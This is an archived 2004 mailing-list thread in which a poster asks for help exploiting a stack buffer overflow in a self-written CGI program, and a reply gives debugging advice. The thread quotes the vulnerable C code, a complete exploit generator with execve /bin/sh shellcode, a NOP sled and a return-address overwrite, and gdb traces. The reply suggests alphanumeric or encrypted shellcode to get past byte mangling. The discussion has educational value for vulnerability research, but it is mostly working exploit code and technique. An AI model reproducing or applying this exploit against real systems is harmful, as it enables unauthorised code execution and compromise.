Vulnerability Development mailing list archives
Re: Problem exploiting a CGI overflow
From: sin <sin () innocence-lost net>
Date: Wed, 24 Nov 2004 10:17:53 -0700 (MST)
You are correct. There is a problem with the shellcode, but a rare problem. The shellcode is OK (it's aleph1 shellcode, smashing the stack), but when it is copied to the buffer, characters 0xb and 0xc are change for 0x20. Why?
Well 0x20 is a space, 0x0b is a vertical tab, 0x0c is a line feed- the last two I can see some reasons a cgi might be inclined to convert it to a space- however I do not have the original email with the code in order to determine whether the program is doing it or not - are you exploiting this via the command line or passing through a webserver? Also, the Aleph1 shellcode works, however it isn't optimal, and I've pondered at great lengths why he presented it in the manner that he did (getting the address of a string you introduced is fairly easy). I've decided he did this in order to further iterate how the stack works. There is another much smaller shellcode that is more optimal which uses the way the stack works in order to get the address of the string, push the string onto the stack and %esp (assuming ia32 of course) will have its address.
I wrote a nasty shellcode without 0xb,0xc and now I have another problem. The program call execve() but dont give me a shell... my new shellcode havent exit(0). Is this a problem?
exit(0) isn't needed- it's only used if the execve() fails (to keep the program from crashing), when you execve() it overwrites the current process image with the new one, so in short- the exit() never happens if you call execve() successfully. This is documented in the execve man page. ( system() calls fork() and then execve()'s IIRC ). Does your shellcode actually call execve? check %eax (ia32) just before the call and double check the value in there against /usr/include/asm/unistd.h and make sure it corresponds to the correct sys call number, if so- check your arguments and make sure they make sense. If all is correct, then after execve() fails check %eax again, the errno is stored there. Again in short, without more details its hard to guess what the problem is- I wouldn't be surprised to find out that the cgi/webserver is mangling more bytes than originally thought. Hrm, you might want to try alpha-numeric shellcode, or some form of 'mangle safe' polymorphic shellcode that has all but the decrypting stub code xor encrypted, there is also an older paper out there somewhere that talks on the subject some because of an old imap exploit that mangled the shellcode as well. Once the shellcode is loaded, did a x/$shellcode_length_in_wordsx $address_of_the_shellcode (i.e. if it was 60 words long x/60x 0xbfffff88) and compare what is actually stored there against what should be there ... keep in mind if you are on intel arch that is will be bit flipped in little endian order. And, keep up the hardwork, you are almost there. -- There are only two choices in life. You either conform the truth to your desire, or you conform your desire to the truth. Which choice are you making? On Wed, 24 Nov 2004, [iso-8859-1] V?ctor Henr?quez wrote:
I wrote a nasty shellcode without 0xb,0xc and now I have another problem. The program call execve() but dont give me a shell... my new shellcode havent exit(0). Is this a problem? Now I investigate this, but ideas are welcome... I appreciate your help. -- V?ctor Henr?quez Mensaje citado por sin <sin () innocence-lost net>:Without spending too much time on this as I am at work- from what I saw it looked like you got things right (assuming the address you showed as ret being overwritten was correct), perhaps instead of 'n' you should single step through execution (stepi) and see if it hits your shellcode, if it does- then double check your shellcode. If it works, under gdb- you should hit a break point as soon as execve is run. In short, looking at the gdb output- it looks like you are on the right path and that there is possibly a problem with your shellcode. I don't see an exit() or similar in main, so as soon as main exits you should hit the code. Either way, single stepping is often a lot more useful than next. (gdb) stepi (gdb) x/i $eip (gdb) stepi etc -- There are only two choices in life. You either conform the truth to your desire, or you conform your desire to the truth. Which choice are you making? On Tue, 23 Nov 2004, [iso-8859-1] V?ctor Henr?quez wrote:Date: Tue, 23 Nov 2004 14:18:11 +0000 From: "[iso-8859-1] V?ctor Henr?quez" <vhenriquez () grancanaria com> To: vuln-dev () securityfocus com Subject: Problem exploiting a CGI overflow Hi, I'm new in this world. I discover several buffer overflow problems insomeof our home-made apps. I try to exploit this but I have a rare problem. --- Vuln Code (post2.c) --- #include <stdio.h> #include <string.h> int main() { void split(char *line); char line1[500],line2[500]; strcpy(line2,""); while (!feof(stdin)) { scanf("%s",&line1); strcat(line1," "); strcat(line2,line1); } split(line2); printf("bye\n"); } void split(char *line) { char txt[500]; char *p; strcpy(txt,line); } --- $ cc post2.c -o post.cgi -ggdb $ perl -e 'print "A"x520' | ./post.cgi Violaci?n de segmento (core dumped) $ gdb post.cgi core gdb: Symbol `emacs_ctlx_keymap' has different size in shared object,considerre-linking Core was generated by `./post.cgi'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () Well... I'm trying overflow the strcpy() in split(). --- exploit code --- #include <stdlib.h> #include <stdio.h> #define DEFAULT_ADDRESS 0xbffff4d4 #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 520 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; FILE *out; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = DEFAULT_ADDRESS + offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; if ((out = fopen("buffer", "w")) == NULL) { perror("fopen"); exit(-1); } fprintf(out, "%s", buff); fclose(out); return 1; } --- Now the problem... $ echo "AAA" | ./post.cgi bye $ cc exploit.c -o exp $ ./exp Using address: 0xbffff4d4 $ cat buffer | ./post.cgi Really he execute other code, but not the shellcode. More GDB now... $ gdb post.cgi (gdb) r < buffer Starting program: /home/victor/laboratory/gsi/post-dev/post.cgi < buffer Breakpoint 1, split (line=0xbffff6e0 '\220' <repeats 200 times>...) atpost2.c:21 21 strcpy(txt,line); (gdb) info f Stack level 0, frame at 0xbffff6b8: eip = 0x804859d in split (post2.c:21); saved eip 0x804857f called by frame at 0xbffffac8 source language c. Arglist at 0xbffff6b8, args: line=0xbffff6e0 '\220' <repeats 200times>...Locals at 0xbffff6b8, Previous frame's sp is 0x0 Saved registers: ebp at 0xbffff6b8, eip at 0xbffff6bc (gdb) x 0xbffff6bc 0xbffff6bc: 0x0804857f (gdb) n 22 } (gdb) x 0xbffff6bc 0xbffff6bc: 0xbffff4d4 // Ret Changed!! (gdb) x/100 0xbffff4d4 0xbffff4d4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4e4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4f4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff504: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff514: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff524: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff534: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff544: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff554: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff564: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff574: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x1feb9090 0xbffff5b4: 0x0876895e 0x4688c031 0x20468907 0xf38920b0 0xbffff5c4: 0x8d084e8d 0x80cd2056 0xd889db31 0xe880cd40 0xbffff5d4: 0xffffffdc 0x6e69622f 0xbf68732f 0xbffff4d4 0xbffff5e4: 0xbffff4d4 0xbffff4d4 0xbffff4d4 0xbffff4d4 0xbffff5f4: 0xbffff4d4 0xbffff4d4 0xbffff4d4 0xbffff4d4 // Shellcode is in position... (gdb) n Program exited normally. What's happen!? I discover that the shellcode change during his execution. Yeah, some bytesofthe shellcode change while is running. Why?? How can avoid this? Thanks in advance -- V?ctor Henr?quez ------------------------------------------------- Este email ha sido enviado a trav?s de http://www.grancanaria.com------------------------------------------------- Este email ha sido enviado a trav?s de http://www.grancanaria.com
Current thread:
- Problem exploiting a CGI overflow Víctor Henríquez (Nov 23)
- Re: Problem exploiting a CGI overflow sin (Nov 23)
- Re: Problem exploiting a CGI overflow Víctor Henríquez (Nov 24)
- Re: Problem exploiting a CGI overflow sin (Nov 24)
- Re: Problem exploiting a CGI overflow Vlad902 (Nov 27)
- Re: Problem exploiting a CGI overflow Víctor Henríquez (Nov 24)
- Re: Problem exploiting a CGI overflow Víctor Henríquez (Nov 28)
- Re: Problem exploiting a CGI overflow sin (Nov 29)
- <Possible follow-ups>
- Re: Problem exploiting a CGI overflow Marco Ivaldi (Nov 24)
- Re: Problem exploiting a CGI overflow sin (Nov 28)
- Re: Problem exploiting a CGI overflow Marco Ivaldi (Nov 28)
- Re: Problem exploiting a CGI overflow sin (Nov 23)